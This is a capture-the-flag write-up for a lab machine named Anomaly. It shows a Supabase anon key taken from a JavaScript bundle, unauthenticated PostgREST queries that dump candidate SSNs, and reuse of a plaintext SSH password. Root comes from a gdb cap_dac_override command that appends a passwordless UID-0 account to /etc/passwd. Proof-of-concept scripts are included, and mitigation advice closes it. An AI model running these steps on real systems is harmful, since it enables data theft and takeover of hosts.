Anomaly - HC Writeup

2026-03-21·6 min read·
websupabasepostgrestjwtcapabilitiesctf

Target Information

  • IP Address: 172.16.9.36
  • Difficulty: Medium
  • Tags: Web, Supabase, PostgREST, JWT, Linux Capabilities, Privilege Escalation

Reconnaissance

Port Scanning

$bash
nmap -sS -p- -T4 -sV -sC -oN tcp_full.txt -vvv 172.16.9.36

Results:

$code
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       OpenSSH 9.6p1 Ubuntu
80/tcp   open  http      Apache httpd 2.4.58 — "RHTech HR Platform"
5432/tcp open  http      HTTP 204 / x-app-version: 2.7.4 (Supavisor)
6543/tcp open  http      HTTP 204 / x-app-version: 2.7.4 (Supavisor)
8000/tcp open  http      kong/3.9.1 (API Gateway)
8443/tcp open  ssl/https kong/3.9.1 (SSL)

Ports 5432 and 6543 respond over HTTP despite appearing to be PostgreSQL; they are Supavisor instances (the Supabase connection pooler). Port 8000 is the Kong API Gateway, which protects the internal services.


Web Enumeration

React SPA — RHTech HR Platform

The application on port 80 is a React + Vite SPA titled "RHTech — HR Platform." The HTML references a single JavaScript bundle:

$code
/assets/index-DAiJsT9Q.js  (370KB raw, ~314KB gzip)
/assets/index-DNRLDcrl.css

Supabase Configuration Extraction from the JavaScript Bundle

The bundle was served compressed with gzip. Downloading it with decompression enabled (--compressed) exposed the application code in its final ~15 KB, including the Supabase client initialization:

$bash
curl --compressed http://172.16.9.36/assets/index-DAiJsT9Q.js -o bundle.js
python3 -c "
import re
data = open('bundle.js').read()
jwts = re.findall(r'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+', data)
idx = data.find(jwts[0])
print(data[idx-200:idx+200])
"

Finding in the bundle:

$javascript
var li = si(
  "http://anomaly.hc:8000",
  "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYW5vbiIsImlzcyI6InN1cGFiYXNlIiwiaWF0IjoxNzAwMDAwMDAwLCJleHAiOjQ4NTMwMDAwMDB9.Y3Oru2v6UvB8HP9Xo_Ft1Wj9GYHFNOfEh9E78keoghA",
  { auth: { persistSession: true } }
)
  • Supabase URL: http://anomaly.hc:8000
  • Anon Key: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYW5vbiIsImlzcyI6InN1cGFiYXNlIiwiaWF0IjoxNzAwMDAwMDAwLCJleHAiOjQ4NTMwMDAwMDB9.Y3Oru2v6UvB8HP9Xo_Ft1Wj9GYHFNOfEh9E78keoghA

JWT payload:

$json
{ "role": "anon", "iss": "supabase", "iat": 1700000000, "exp": 4853000000 }

Exploitation: PostgREST Without Row-Level Security

Table Enumeration via OpenAPI

Request:

$http
GET /rest/v1/ HTTP/1.1
Host: anomaly.hc:8000
apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Accept: application/openapi+json

Response:

$json
{
  "swagger": "2.0",
  "info": { "title": "standard public schema", "version": "14.6" },
  "paths": { "/positions": {}, "/settings": {}, "/candidates": {}, "/access_logs": {} }
}

PII Dump — candidates Table

Request:

$http
GET /rest/v1/candidates?select=* HTTP/1.1
Host: anomaly.hc:8000
apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response:

$json
[
  { "name": "Ana Paula Ferreira", "email": "ana.ferreira@gmail.com", "ssn": "342-89-1020" },
  { "name": "Bruno Mendes Costa",  "email": "bruno.mcosta@outlook.com", "ssn": "198-23-4560" },
  { "name": "Gabriel Santos",      "email": "gabriel.santos@rhtech.com", "ssn": "123-45-6789" }
]

Ten candidates’ names, email addresses, and SSNs were accessible without authentication. Row-level security was not configured on the public tables.

Plaintext SSH Credential — access_logs Table

Request:

$http
GET /rest/v1/access_logs?select=* HTTP/1.1
Host: anomaly.hc:8000
apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response (critical entry):

$json
{
  "user_email": "it@rhtech.com",
  "action": "SSH_BACKUP",
  "details": {
    "cmd": "sshpass -p 'Bkp@Server#2024' ssh rhbackup@172.16.4.115 -p 22 ./backup.sh",
    "note": "automated via cron",
    "status": "ok"
  }
}

Recovered credential: rhbackup / Bkp@Server#2024


Initial Access via SSH

The backup server password also worked on the target:

$bash
sshpass -p 'Bkp@Server#2024' ssh rhbackup@172.16.9.36

Result:

$bash
uid=1001(rhbackup) gid=1001(rhbackup) groups=1001(rhbackup),100(users)

Post-Exploitation

Environment Enumeration

$bash
ls ~
cat ~/user.txt
cat ~/.bash_history
getcap -r / 2>/dev/null

Findings:

  • User flag at ~/user.txt
  • .bash_history revealed earlier exploitation attempts involving gdb and getcap
  • A special capability on GDB was identified in the shell history.

Privilege Escalation: GDB with the cap_dac_override Linux Capability

Enumeration

The Bash history revealed the vector:

$bash
cat ~/.bash_history
# getcap /usr/bin/gdb
# gdb -batch -ex "python open('/etc/passwd', 'a').write('hacker::0:0:root:/root:/bin/bash\n')"

Confirm with:

$bash
getcap /usr/bin/gdb

Output:

$code
/usr/bin/gdb cap_dac_override=ep

cap_dac_override lets GDB bypass file access permissions, including those on /etc/passwd.

Exploitation

GDB includes an embedded Python interpreter. With cap_dac_override, it can write directly to /etc/passwd:

$bash
gdb -batch -ex 'python open("/etc/passwd", "a").write("hacked::0:0:root:/root:/bin/bash\n")'

Verify the result:

$bash
tail -1 /etc/passwd
# hacked::0:0:root:/root:/bin/bash

Switch to the root-equivalent account (empty password, UID 0):

$bash
su -s /bin/sh hacked -c 'id && head /root/r0Ot.txt'

Result:

$bash
uid=0(root) gid=0(root) groups=0(root)
hackingclub{472da35b3618915360d996723eaaa4dc}

ROOT OBTAINED!


Attack Chain Summary

$code
1. JavaScript bundle analysis — the compressed bundle concealed application code
   ↓
2. Extract the Supabase URL and anonymous key (anomaly.hc:8000 + JWT)
   ↓
3. PostgREST without RLS — anonymous access to all public tables
   ↓
4. Plaintext SSH credential in the `access_logs` table
   ↓
5. SSH as rhbackup (`Bkp@Server#2024`) → user.txt
   ↓
6. GDB `cap_dac_override` → write to `/etc/passwd` → root
   ↓
7. Root Access → r0Ot.txt

Vulnerabilities Summary

VulnerabilityCWESeverityImpact
Anon Key exposed in the JavaScript bundleCWE-312HighFull access to the Supabase API
PostgREST without Row-Level SecurityCWE-284CriticalPII dump (SSNs, email addresses, phone numbers) for 10 candidates
Plaintext SSH credential in an audit logCWE-312CriticalInitial SSH access to the server
GDB com cap_dac_overrideCWE-269CriticalPrivilege escalation to root

Mitigation Recommendations

Application Level

  1. Enable row-level security in Supabase/PostgREST:
$sql
ALTER TABLE candidates  ENABLE ROW LEVEL SECURITY;
ALTER TABLE access_logs ENABLE ROW LEVEL SECURITY;
ALTER TABLE settings    ENABLE ROW LEVEL SECURITY;
 
-- Only authenticated users can access sensitive data
CREATE POLICY "auth_only" ON candidates
  FOR SELECT USING (auth.role() = 'authenticated');
 
CREATE POLICY "auth_only" ON access_logs
  FOR SELECT USING (auth.role() = 'authenticated');
  1. Never store credentials in audit logs:

    • Redact passwords before storing logs (sshpass -p '***')
    • Use references to secret managers (Vault, AWS SSM Parameter Store)
  2. Limit what the anon role can access:

    • The anon role must not access tables containing PII or operational data
    • Move sensitive calls to an intermediate backend (BFF)

System Level

  1. Remove unnecessary capabilities from GDB:
$bash
setcap -r /usr/bin/gdb
  1. Audit capabilities regularly:
$bash
getcap -r / 2>/dev/null
  1. Use SSH key authentication for automation:
    • Remove hardcoded passwords from backup scripts
    • Use ~/.ssh/authorized_keys with command-restricted keys

Tools Used

  • nmap — Port scanning and service detection
  • curl — Manual HTTP requests
  • Python 3 — JavaScript bundle analysis and request automation
  • sshpass — Non-interactive SSH authentication
  • gdb — Privilege escalation vector using cap_dac_override

Proof of Concept Scripts

Data Dump via Anonymous PostgREST

$python
#!/usr/bin/env python3
import urllib.request, json
 
ANON_KEY = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYW5vbiIsImlzcyI6InN1cGFiYXNlIiwiaWF0IjoxNzAwMDAwMDAwLCJleHAiOjQ4NTMwMDAwMDB9.Y3Oru2v6UvB8HP9Xo_Ft1Wj9GYHFNOfEh9E78keoghA"
BASE = "http://anomaly.hc:8000"
 
def get(path):
    req = urllib.request.Request(f"{BASE}{path}", headers={
        "apikey": ANON_KEY,
        "Authorization": f"Bearer {ANON_KEY}",
        "Accept": "application/json",
    })
    with urllib.request.urlopen(req, timeout=5) as r:
        return json.loads(r.read())
 
print("=== PII dump (candidates) ===")
for c in get("/rest/v1/candidates?select=*"):
    print(f"{c['name']} | {c['email']} | SSN: {c['ssn']}")
 
print("\n=== SSH credential from access_logs ===")
for log in get("/rest/v1/access_logs?select=*"):
    if log.get("details") and "sshpass" in str(log["details"]):
        print("CRED FOUND:", log["details"])

Privesc via GDB cap_dac_override

$bash
#!/bin/bash
# Add a passwordless root user to /etc/passwd
gdb -batch -ex 'python open("/etc/passwd", "a").write("pwned::0:0:root:/root:/bin/bash\n")'
 
# Access root and read the flag
su -s /bin/sh pwned -c 'cat /root/r0Ot.txt'

Flags

$code
User Flag: /home/rhbackup/user.txt
hackingclub{3fc6218d1bc92f4e301b9b7c480bdf5d}

Root Flag: /root/r0Ot.txt
hackingclub{472da35b3618915360d996723eaaa4dc}

References

CWE References:


Author: cbxcvl Date: 2026-03-21 Machine: Anomaly — HackingClub